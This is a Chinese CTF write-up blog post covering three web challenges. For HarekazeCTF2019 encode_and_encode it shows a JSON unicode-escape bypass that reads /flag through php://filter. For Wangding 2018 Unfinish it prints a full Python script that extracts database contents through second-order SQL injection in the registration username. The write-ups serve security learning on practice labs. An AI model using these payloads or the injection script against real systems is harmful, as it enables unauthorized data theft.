[HarekazeCTF2019]encode_and_encode
思路
一进去就看到源码


源码如下
<?php error_reporting(0); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; } $body = file_get_contents('php://input'); $json = json_decode($body, true); if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; } // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);
要传一个json参数,打开文件

但我想不到绕过
解题
看WP,参考文献:[BUUOJ记录] [HarekazeCTF2019] encode_and_encode – Ye’sBlog – 博客园
源码的正则匹配是对json_decode之前的传参进行匹配
也就是说,只要json_encode之后能绕过这个正则就行
而json有个性质,会将\uXXXX转义为Unicode字符
写个str转\uXXXX格式的脚本
def json_encode(data: str):
return ''.join(['\\u%04x' % ord(x) for x in str])
if __name__ == '__main__':
str = input("String wait to be encoded: \n[ in]: ")
# A -> \u0041
print("[out]:", json_encode(str))
String wait to be encoded:
[ in]: php://filter/read=convert.base64-encode/resource=/flag
[out]: \u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067

注意
json的decode相关性质要了解
[网鼎杯 2020 半决赛]AliceWebsite
解题
刚想尝试一下发现秒了

注意
常规的方式要多试
[网鼎杯2018]Unfinish
思路
注册页面(看到login.php很自然就能想到register.php)

登陆页面

登陆后页面

那么,既然这里有username的回显,想必可以利用
解题
我们猜测sql的insert语句:
insert into tables values('$email', '$username', '$passwd');
那么,我们尝试:
username = 0' and '1
# 这样
insert into tables values('$email', '0' and '1', '$passwd');

成功!
这里贴出完整的脚本(表实在是爆不出来,都试过了
import requests
from lxml import etree
import time
url = "http://55178ade-f389-45f1-b679-55608b379d5b.node5.buuoj.cn:81/"
headers = {
"User-Agent": "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0"
}
login_page = "login.php"
register_page = "register.php"
email = "111@{}.com"
passwd = "111"
num = 1600
def getPayload(url, login_page, register_page, email, passwd, payload):
session = requests.session()
login_url = url + login_page
register_url = url + register_page
global num
num += 1
login_data = {
"email": email.format(num),
"password": passwd
}
register_data = {
"email": email.format(num),
"username": payload,
"password": passwd
}
tmp = session.post(register_url, data=register_data, headers=headers)
response = session.post(login_url, data=login_data, headers=headers).text
# /html/body/nav/div/div/span
res = etree.HTML(response).xpath("/html/body/nav/div/div/span/text()")
if res:
res = res[0]
else:
res = "0"
return res.strip()
# # 爆库
# payload = "0' + (select ascii(substr(database() from {} for 1))) + '0"
# database = ''
# for i in range(1, 100):
# time.sleep(0.2)
# res = getPayload(url, login_page, register_page, email, passwd, payload.format(i))
# letter = chr(int(res))
# database += letter
# print("[out]:", database)
# # [out]: web
# # 爆表
# payload = "0' + (select ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()) from {} for 1))) + '0"
# tables = ''
# for i in range(1, 100):
# time.sleep(0.2)
# res = getPayload(url, login_page, register_page, email, passwd, payload.format(i))
# letter = chr(int(res))
# tables += letter
# print("[out]:", tables)
# # [out]: ???
# 爆字段
payload = "0' + (select ascii(substr((select * from flag) from {} for 1))) + '0"
tables = ''
for i in range(1, 100):
time.sleep(0.2)
res = getPayload(url, login_page, register_page, email, passwd, payload.format(i))
letter = chr(int(res))
tables += letter
print("[out]:", tables)
# [out]: flag{bb31ccb8-d4aa-47eb-8e6c-beeb4e1fa2a0}
注意
我以为是查询username时的二次注入,没想到是insert时,就已经插入了想要的值的注入
我对二次注入的理解还是不够深刻,要加强理解